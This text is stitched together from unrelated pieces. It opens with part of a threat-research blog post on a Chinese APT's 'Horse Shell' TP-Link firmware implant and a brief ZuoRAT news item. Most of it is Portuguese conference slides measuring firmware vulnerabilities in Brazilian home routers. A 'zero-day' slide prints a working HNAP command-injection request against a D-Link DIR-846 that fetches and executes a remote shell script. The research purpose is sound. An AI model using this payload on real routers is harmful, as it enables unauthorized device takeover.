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Motivation
THE DRAGON WHO SOLD HIS CAMARO: 
ANALYZING CUSTOM ROUTER IMPLANT
May 16, 2023

Research by: Itay Cohen, Radoslaw Madej, and the Threat Intelligence 
Team

Over the past few months, Check Point Research has closely monitored a series of targeted attacks aimed at European foreign affairs entities. These campaigns have been linked to a Chinese state-sponsored APT group we 
track as Camaro Dragon, which shares similarities with previously reported activities conducted by state-sponsored Chinese threat actors, namely Mustang Panda.

Our comprehensive analysis of these attacks has uncovered a malicious firmware implant tailored for TP-Link routers. The implant features several malicious components, including a custom backdoor named “Horse Shell” 

that enables the attackers to maintain persistent access, build anonymous infrastructure and enable lateral movement into compromised networks.

The discovery is yet another example of a long-standing trend of Chinese threat actors to exploit Internet-facing network devices and modify their underlying software or firmware. This blog post will delve into the intricate 

details of analyzing the “Horse Shell” router implant. We will share our insights into the implant’s functionality and compare it to other router implants associated with Chinese state-sponsored groups. By examining this 

implant, we hope to shed light on the techniques and tactics utilized by the Camaro Dragon APT group and provide a better understanding of how threat actors utilize malicious firmware implants in network devices in their 

attacks.

Key Findings
Checkpoint Research has discovered and analyzed a custom firmware image affiliated with the Chinese state-sponsored actor “Camaro Dragon”.

The firmware image contained several malicious components, including a custom MIPS32 ELF implant dubbed “Horse Shell”. In addition to the implant, a passive backdoor providing attackers with a shell to infected

devices was found.

“Horse Shell”, the main implant inserted into the modified firmware by the attackers, provides the attacker with 3 main functionalities:

Remote shell — Execution of arbitrary shell commands on the infected router

File transfer — Upload and download files to and from the infected router.

SOCKS tunneling — Relay communication between different clients.

Due to its firmware-agnostic design, the implant’s components can be integrated into various firmware by different vendors

The deployment method of the firmware images on the infected routers is still unclear, as well as its usage and involvement in actual intrusions.

Background
Since January 2023, Check Point Research is tracking sophisticated attacks targeting officials in multiple European countries. The campaign leveraged a wide variety of tools, among them implants commonly associated with

Chinese state-sponsored threat actors. This activity has significant infrastructure overlaps with activities publicly disclosed by our fellow researchers in Avast and ESET, linking it to “Mustang Panda”. This cluster of activity is

currently tracked by CPR as “Camaro Dragon”.

SEARCH

SENTINEL / News / ZuoRAT Capable of Overtaking SOHO Routers

If you own a SOHO router, you should be aware that ZuoRAT has the

potential to take it over. SOHO routers transmit wireless and wired

broadband routing across networks. The difference between regular

routers and SOHO routers is the structure. SOHO routers work for both

home office networks and small offices. Therefore, router devices

provided by the likes of Netgear, Asus, and Cisco are susceptible to

multistage malware that has been a known threat since the spring of

2020. Clearly, an advanced hacker is responsible for this digital attack.
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Objetivos e contribuição

Objetivos

� Medir os riscos cibernéticos relacionados a roteadores
domésticos no cenário brasileiro. (OSINT)

� Propor metodologia abrangente para análise estática
de firmware em escala.

Contribuição
Quebrar o requisito de aquisição de roteadores para
realizar esses objetivos e observar panorama do nível de
segurança nas residências dos brasileiros.
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Trabalhos Relacionados

� (Fiorenza et al. 2020) e (Ponce et al. 2022) realizaram
medições da segurança na Internet brasileira.

� (Toso and Pereira 2021), (ACI 2018) e
(Dorp and Helmke 2022) propuseram diferentes
abordagens para análise de firmware de roteadores.

� Nosso trabalho aproveita as boas práticas, incrementa a
metodologia com análise de código e aplica no cenário
brasileiro.
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Metodologia

� Equipamentos mais
comuns?

� Maiores e-commerces
do país1

� Modelos disponíveis à
venda:
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EDIT CHART

Figure 1. Market Share dos fabricantes no
mercado brasileiro

1Fonte: https://www.conversion.com.br/ 7
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Metodologia
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Visão Geral

Configuração dos equipamentos

Componente Informações
Sistema de Arquivos SquashFS, JFFS2, UBIFS, EXT4
Sistema Operacional Linux

Memória RAM 32 MB - 512 MB
NVRAM 4 MB - 128 MB

Arquitetura MIPS e ARM
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Resultados — aquisição de firmwares

2. Aquisição da versão 
mais recente do 

firmware

Índice de firmwares adquiridos

19.6%

● 31 modelos suportados 
entre os projetos: DD-WRT, 
OpenWrt e Tomato;

● 45 imagens obtidas.

2. Aquisição da versão 
mais recente do 

firmware

Índice de firmwares adquiridos

84%

● Fontes oficiais dos 
fabricantes;

● 133 imagens obtidas;
● Indisponível para: Google, 

Greatek e Huawei.

Firmwares Oficiais Firmwares 
Open-Source

Figure 2. Dados analíticos relativos à aquisição dos firmwares
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Resultados — extração do conteúdo

3. Extração do kernel e 
File System

Taxa de êxito da extração

100%

● Todos firmwares extraídos;
● Utilização do extrator 

implementado com Binwalk

Firmwares Oficiais Open-Source

3. Extração do Kernel e 
File System

Taxa de êxito da extração

60%

● 80 firmwares extraídos*;
● Utilização de extrator 

implementado com Binwalk

Figure 3. Dados analíticos relativos à extração dos firmwares
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Resultados — versões de kernelTraces
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Figure 4. Versões de Kernel em firmwares oficiais e open-source
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Resultados — configuração

Binários Oficiais Open-source
Vulnerabilidades 1474 (84) 142 (15)

Idade 1 a 10 anos 1 a 9 anos

Kernel Oficiais Open-source
Vulnerabililidades 1344 245

Idade 2 a 12 anos 5 dias a 2 anos
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Resultados —mais vulneráveis

TOP 10 mais vulneráveis
1. TP-Link TL-WR941H 6. TP-Link Deco M4
2. TP-Link Archer C60 7. TP-Link Deco M9 Plus
3. TP-Link Archer C1200 8. TP-Link Deco E4
4. TP-Link Archer C8 9. TP-Link Archer C7
5. TP-Link Deco M5 10. D-Link DIR-846
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Resultados — binários
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Resultados — kernel
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16



Resultados — comparação

Redução de vulnerabilidades com open-source

Binários Kernel
Xiaomi 97% Asus 98,42%
D-Link 96,3% D-Link 98,22%
Asus 96,8% Xiaomi 98,1%

Ubiquiti 81,5% TP-Link 96,2%
TP-Link 66,7% Ubiquiti 75,45%
Linksys 55% Mikrotik 68,5%
Mikrotik — Linksys 46,5%
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Resultados — códigos-fonte
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Findings

69 Matching Findings
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Resultados — zero-day

 DIR-846 HW:A1 FW: Logout

LAN settings

IP/MAC Binding

UPnP

Static routing

Dynamic DNS (DDNS)

IP/MAC Binding

After enabling the feature, you can set a static IP address for a user. By binding IP and MAC, you can
effectively avoid ARP attack.

Home

   

Internet Wireless Parental control QoS Users list More| ...

Network settings

Wireless settings

Security settings

IPv6 settings

System management

Sequence Host MAC address IP address Operation

         

IP/MAC address binding list

 DIR-846 HW:A1 FW: Logout

LAN settings

IP/MAC Binding

UPnP

Static routing

Dynamic DNS (DDNS)

IP/MAC Binding

After enabling the feature, you can set a static IP address for a user. By binding IP and MAC, you can
effectively avoid ARP attack.

Home

   

Internet Wireless Parental control QoS Users list More| ...

Network settings

Wireless settings

Security settings

IPv6 settings

System management

Sequence Host MAC address IP address Operation

1 $(/tmp/invasao.sh) ae:77:7b:4d:7c:d9 192.168.0.18

IP/MAC address binding list

Static IP address binding

Host MAC address IP address

Cancel Save

Manually enterManually enter
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Resultados — zero-day
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1

...

{
"SetIpMacBindSettings":

"lan_unit":"0",
"lan(0)_dhcps_staticlist":"1,malicious_request,ae:77:7b:4d:7c:d9,192.168.0.18"}

}

{
  "SetIpMacBindSettings": {
    "lan_unit": "0",
    "lan(0)_dhcps_staticlist": 

"1,$(wget$IFS'-O'$IFS'/tmp/invasao.sh'$IFS'http://192.168.0.2/invasao.sh';chmod$IFS'+rx'$IFS
'/tmp/invasao.sh';/tmp/invasao.sh),
ae:77:7b:4d:7c:d9,192.168.0.18"

  }
}
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Resultados — zero-day
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Conclusões

� A metodologia proposta possibilita a avaliação sem a
necessidade de aquisição de hardware.

� Os firmwares oficiais não possuem binários e kernel
atualizados.

� Equipamentos sem suporte do fabricante
(end-of-service-life) estão condenados a firmwares
obsoletos.

� Equipamentos suportados por projetos open-source
proporcionam maior segurança ao usuário.
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Trabalhos Futuros

� Melhorar a detecção das versões de binários.

� Otimizar a enumeração de CVEs do kernel Linux.

� Aplicar a metodologia em escala global.

� Prover ambiente para análise avançada de malwares em
roteadores.

� Aplicar ametodologia para análise de firmwares em outros
contextos, ex. carros autônomos.

� Usar o wi-fi como radar - Channel State Information (CSI).
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Contribuição

Alinhamentodapesquisa comoAtonº2.4362, de 07demarço
de 2023, da Agência Nacional de Telecomunicações (Ana-
tel), que define os requisitos mínimos obrigatórios de se-
gurança para equipamentos empregados na conexão de
usuários à rede do provedor de internet, a partir de 10 de
março de 2024.

2Fonte: https://www.gov.br/anatel/pt-br/assuntos/noticias/
anatel-publica-requisitos-minimos-de-seguranca-cibernetica-de-equipamentos-cpe
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